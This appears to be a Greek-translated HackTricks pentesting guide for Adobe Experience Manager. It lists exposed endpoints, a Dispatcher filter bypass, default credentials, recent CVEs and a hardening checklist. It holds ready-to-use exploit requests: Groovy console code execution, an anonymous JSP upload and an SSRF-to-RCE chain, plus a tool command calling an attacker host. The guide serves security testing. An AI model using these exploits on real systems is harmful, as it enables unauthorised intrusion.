AEM (Adobe Experience Manager) Pentesting
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Adobe Experience Manager (AEM, μέρος του Adobe Experience Cloud) είναι ένα enterprise CMS που τρέχει πάνω από το Apache Sling/Felix (OSGi) και ένα Java Content Repository (JCR). Από την οπτική γωνία ενός επιτιθέμενου, οι περιπτώσεις AEM συχνά εκθέτουν επικίνδυνες αναπτυξιακές τελικές σημεία, αδύναμους κανόνες Dispatcher, προεπιλεγμένα διαπιστευτήρια και μια μακρά λίστα CVEs που διορθώνονται κάθε τρίμηνο.
Η παρακάτω λίστα ελέγχου εστιάζει σε εξωτερικά προσβάσιμη (unauth) επιφάνεια επίθεσης που συνεχίζει να εμφανίζεται σε πραγματικές εμπλοκές (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Άλλοι γρήγοροι δείκτες:
/etc.clientlibs/
στατικός δρόμος παρών (επιστρέφει JS/CSS)./libs/granite/core/content/login.html
σελίδα σύνδεσης με την μπάντα “Adobe Experience Manager”.</script><!--/* CQ */-->
σχόλιο στο κάτω μέρος του HTML.
2. Υψηλής αξίας μη αυθεντικοποιημένα endpoints
Δρόμος | Τι παίρνετε | Σημειώσεις |
---|---|---|
/.json , /.1.json | JCR κόμβοι μέσω DefaultGetServlet | Συχνά μπλοκαρισμένο, αλλά Dispatcher bypass (βλ. παρακάτω) λειτουργεί. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Διαρροή δέντρου σελίδας, εσωτερικών δρόμων, ονομάτων χρηστών. |
/system/console/status-* , /system/console/bundles | OSGi/Felix κονσόλα | 403 από προεπιλογή; αν εκτεθεί & βρεθούν διαπιστευτήρια ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Επιτρέπει αυθεντικοποιημένα πακέτα περιεχομένου → ανέβασμα JSP payload. |
/etc/groovyconsole/** | AEM Groovy Console | Αν εκτεθεί → αυθαίρετη εκτέλεση Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Αρχεία καταγραφής ελέγχου | Διαρροή πληροφοριών. |
/libs/cq/ui/content/dumplibs.html | Dump ClientLibs | XSS vector. |
Τέχνασμα παράκαμψης Dispatcher
Οι περισσότερες παραγωγικές τοποθεσίες βρίσκονται πίσω από τον Dispatcher (αντίστροφος διακομιστής). Οι κανόνες φίλτρου του μπορούν να παρακαμφθούν προσθέτοντας μια επιτρεπόμενη στατική επέκταση μετά από ένα ερωτηματικό ή κωδικοποιημένο νέο γραμμή:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Μια μόνο αίτηση όπως παραπάνω αποκαλύπτει συχνά κόμβους προφίλ χρηστών με διευθύνσεις email. Οι P-T Partners δημοσίευσαν καλές οδηγίες σχετικά με αυτή την αδυναμία. 【】
3. Κοινές κακοδιαμορφώσεις (ακόμα ζωντανές το 2025)
- Ανώνυμος POST servlet –
POST /.json
με:operation=import
σας επιτρέπει να φυτέψετε νέους κόμβους JCR. Η μπλοκάρισμα του*.json
POST στον Dispatcher το διορθώνει. 【】 - Προφίλ χρηστών προσβάσιμα από όλους – η προεπιλεγμένη ACL παραχωρεί
jcr:read
στο/home/users/**/profile/*
σε όλους. - Προεπιλεγμένα διαπιστευτήρια –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter ενεργοποιημένο ⇒ αντανάκλαση XSS μέσω
?debug=layout
(CVE-2016-7882, ακόμα βρέθηκε σε παλιές εγκαταστάσεις 6.4). - Εκτεθειμένη Groovy Console – απομακρυσμένη εκτέλεση κώδικα στέλνοντας ένα σενάριο Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Πρόσφατες ευπάθειες (ρυθμός service-pack)
Τρίμηνο | CVE | Επηρεαζόμενα | Επιπτώσεις |
---|---|---|---|
Δεκ 2024 | CVE-2024-43711 | 6.5.21 και νωρίτερα | Ακατάλληλη επικύρωση εισόδου → Αυθαίρετη εκτέλεση κώδικα (απαιτεί χαμηλά προνόμια). 【】 |
Δεκ 2024 | CVE-2024-43724/26 | 6.5.21 και νωρίτερα | DOM / Αποθηκευμένο XSS στο Move Page Wizard. 【】 |
Δεκ 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS βασισμένο σε DOM μέσω κατεργασμένου URL. 【】 |
Δεκ 2022 | CVE-2022-30683 | ≤ 6.5.13 | Σφάλμα σχεδίασης κρυπτογράφησης → αποκρυπτογράφηση μυστικών (χρειάζονται χαμηλά προνόμια). 【】 |
Ελέγξτε πάντα το APSB δελτίο που αντιστοιχεί στο service-pack του πελάτη και ζητήστε την τελευταία 6.5.22 ή Cloud Service 2024.11.
5. Αποσπάσματα εκμετάλλευσης
5.1 RCE μέσω παράκαμψης dispatcher + ανέβασμα JSP
Αν είναι δυνατή η ανώνυμη εγγραφή:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Τώρα ζητήστε το /content/evil.jsp
– το JSP εκτελείται με τον χρήστη διαδικασίας AEM.
5.2 SSRF σε RCE (ιστορικό < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
από aem-hacker αυτοματοποιεί την πλήρη αλυσίδα. 【】
6. Εργαλεία
- aem-hacker – σενάριο καταμέτρησης Swiss-army, υποστηρίζει παράκαμψη dispatcher, ανίχνευση SSRF, ελέγχους προεπιλεγμένων διαπιστευτηρίων και άλλα.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – ζητήστε αναδρομικά
/_jcr_content.(json|html)
για να ανακαλύψετε κρυφά στοιχεία. - osgi-infect – ανεβάστε κακόβουλο OSGi bundle μέσω
/system/console/bundles
αν είναι διαθέσιμα διαπιστευτήρια.
7. Λίστα ελέγχου σκληρύνσης (για τις συστάσεις της αναφοράς σας)
- Διατηρήστε την έκδοση στην τελευταία σωρευτική υπηρεσία (από Ιούλιο 2025: 6.5.22).
- Αφαιρέστε/περιστρέψτε τους προεπιλεγμένους λογαριασμούς; επιβάλετε SSO/SAML.
- Σφίξτε τους φίλτρους Dispatcher – απορρίψτε
;
, κωδικοποιημένες νέες γραμμές, και*.json
ή*.querybuilder.json
για ανώνυμους χρήστες. - Απενεργοποιήστε ή προστατέψτε τις κονσόλες (
/system/console
,/crx/*
,/etc/groovyconsole
) με λίστες επιτρεπόμενων IP. - Εφαρμόστε το πακέτο Anonymous Permission Hardening που παρέχεται από την Adobe.
Αναφορές
- Adobe Security Bulletin APSB24-69 – “Ενημερώσεις ασφαλείας για το Adobe Experience Manager (Δεκ 2024)”.
- 0ang3el – εργαλείο aem-hacker (GitHub).
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.